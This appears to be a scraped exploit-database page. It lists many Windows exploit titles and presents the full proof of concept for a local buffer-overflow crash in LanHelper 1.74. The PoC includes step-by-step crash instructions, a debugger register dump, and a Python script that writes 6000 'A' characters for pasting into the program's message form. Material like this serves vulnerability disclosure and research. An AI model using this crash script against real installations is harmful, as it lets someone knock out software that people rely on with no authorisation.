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"LanHelper 1.74 - Denial of Service (PoC)"

Author

"Rafael Pedrero"

Platform

windows

Release date

2019-01-31

Release Date Title Type Platform Author
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2019-05-22 "Microsoft Windows (x84/x64) - 'Error Reporting' Discretionary Access Control List / Local Privilege Escalation" local windows SandboxEscaper
2019-05-23 "Microsoft Windows 10 (17763.379) - Install DLL" local windows SandboxEscaper
2019-05-24 "Fast AVI MPEG Joiner - 'License Name' Denial of Service (PoC)" dos windows Achilles
2019-05-24 "Cyberoam General Authentication Client 2.1.2.7 - 'Server Address' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-24 "Cyberoam Transparent Authentication Suite 2.1.2.5 - 'NetBIOS Name' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-24 "Cyberoam Transparent Authentication Suite 2.1.2.5 - 'Fully Qualified Domain Name' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-24 "Cyberoam SSLVPN Client 1.3.1.30 - 'HTTP Proxy' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-24 "Cyberoam SSLVPN Client 1.3.1.30 - 'Connect To Server' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-23 "Terminal Services Manager 3.2.1 - Denial of Service" dos windows "Alejandra Sánchez"
2019-05-23 "NetAware 1.20 - 'Share Name' Denial of Service (PoC)" dos windows "Alejandra Sánchez"
2019-05-23 "NetAware 1.20 - 'Add Block' Denial of Service (PoC)" dos windows "Alejandra Sánchez"
2019-05-22 "TapinRadio 2.11.6 - 'Uername' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-22 "TapinRadio 2.11.6 - 'Address' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-22 "RarmaRadio 2.72.3 - 'Username' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-22 "RarmaRadio 2.72.3 - 'Server' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-22 "BlueStacks 4.80.0.1060 - Denial of Service (PoC)" dos windows "Alejandra Sánchez"
2019-05-21 "Deluge 1.3.15 - 'Webseeds' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-20 "Huawei eSpace 1.1.11.103 - DLL Hijacking" local windows LiquidWorm
2019-05-20 "BulletProof FTP Server 2019.0.0.50 - 'Storage-Path' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-20 "BulletProof FTP Server 2019.0.0.50 - 'DNS Address' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-20 "AbsoluteTelnet 10.16 - 'License name' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-20 "docPrint Pro 8.0 - Denial of Service (PoC)" dos windows "Alejandra Sánchez"
2019-05-20 "PCL Converter 2.7 - Denial of Service (PoC)" dos windows "Alejandra Sánchez"
2019-05-20 "Encrypt PDF 2.3 - Denial of Service (PoC)" dos windows "Alejandra Sánchez"
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2019-02-19 "Zoho ManageEngine Netflow Analyzer Professional 7.0.0.2 - Path Traversal / Cross-Site Scripting" webapps jsp "Rafael Pedrero"
2019-02-19 "XAMPP 5.6.8 - SQL Injection / Persistent Cross-Site Scripting" webapps php "Rafael Pedrero"
2019-02-04 "TaskInfo 8.2.0.280 - Denial of Service (PoC)" dos windows "Rafael Pedrero"
2019-02-04 "SpotAuditor 3.6.7 - Denial of Service (PoC)" dos windows "Rafael Pedrero"
2019-02-04 "River Past Ringtone Converter 2.7.6.1601 - Denial of Service (PoC)" dos windows "Rafael Pedrero"
2019-02-01 "Remote Process Explorer 1.0.0.16 - Denial of Service SEH Overwrite (PoC)" dos windows "Rafael Pedrero"
2019-01-31 "LanHelper 1.74 - Denial of Service (PoC)" dos windows "Rafael Pedrero"
2019-01-31 "FlexHEX 2.46 - Denial of Service SEH Overwrite (PoC)" dos windows "Rafael Pedrero"
2019-01-31 "ASPRunner Professional 6.0.766 - Denial of Service (PoC)" dos windows "Rafael Pedrero"
2019-01-31 "AMAC Address Change 5.4 - Denial of Service (PoC)" dos windows "Rafael Pedrero"
2019-01-30 "Necrosoft DIG 0.4 - Denial of Service SEH Overwrite (PoC)" dos windows "Rafael Pedrero"
2019-01-30 "IP-Tools 2.50 - Denial of Service SEH Overwrite (PoC)" dos windows "Rafael Pedrero"
2019-01-30 "Advanced File Manager 3.4.1 - Denial of Service (PoC)" dos windows "Rafael Pedrero"
2018-12-21 "SQLScan 1.0 - Denial of Service (PoC)" dos windows "Rafael Pedrero"
2018-12-18 "MiniShare 1.4.1 - 'HEAD/POST' Remote Buffer Overflow" remote windows "Rafael Pedrero"
2018-11-14 "Advanced Comment System 1.0 - SQL Injection" webapps php "Rafael Pedrero"
2018-10-30 "Microstrategy Web 7 - Cross-Site Scripting / Directory Traversal" webapps jsp "Rafael Pedrero"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46295/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46295/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46295/40764/lanhelper-174-denial-of-service-poc/download/", "exploit_id": "46295", "exploit_description": "\"LanHelper 1.74 - Denial of Service (PoC)\"", "exploit_date": "2019-01-31", "exploit_author": "\"Rafael Pedrero\"", "exploit_type": "dos", "exploit_platform": "windows", "exploit_port": null}
                                            

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# Exploit Title: LanHelper v1.74 - Denial of Service (PoC)
# Discovery by: Rafael Pedrero
# Discovery Date: 2019-01-31
# Vendor Homepage: http://www.hainsoft.com/
# Software Link : http://www.hainsoft.com/
# Tested Version: 1.74
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run LanHelper.exe
# 2.- copy content LanHelper_Crash.txt or 6000 "A" to clipboard (result from this python script)
# 3.- Go to "NT-Utilities" - "Form Send Message" - Tab "Message" - "Add" - "Add target" and paste the result from this python script
# 4.- Paste the result from this python script in "Message text:", same form.
# 5.- Click in Send button and you will see a crash.

'''
EAX 00410041 LanHelpe.00410041
ECX 00410041 LanHelpe.00410041
EDX 00410041 LanHelpe.00410041
EBX 00410745 LanHelpe.00410745
ESP 013DFE70
EBP 013DFE94
ESI 00B6F268
EDI 00B6F96C UNICODE "AAAAAAAAAAAAAAAAAA"
EIP 00401D0A LanHelpe.00401D0A
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFD9000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_IO_PENDING (000003E5)
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 1372  Prec NEAR,64  Mask    1 1 0 0 1 0

'''

#!/usr/bin/env python

crash = "\x41" * 6000
f = open ("LanHelper_Crash.txt", "w")
f.write(crash)
f.close()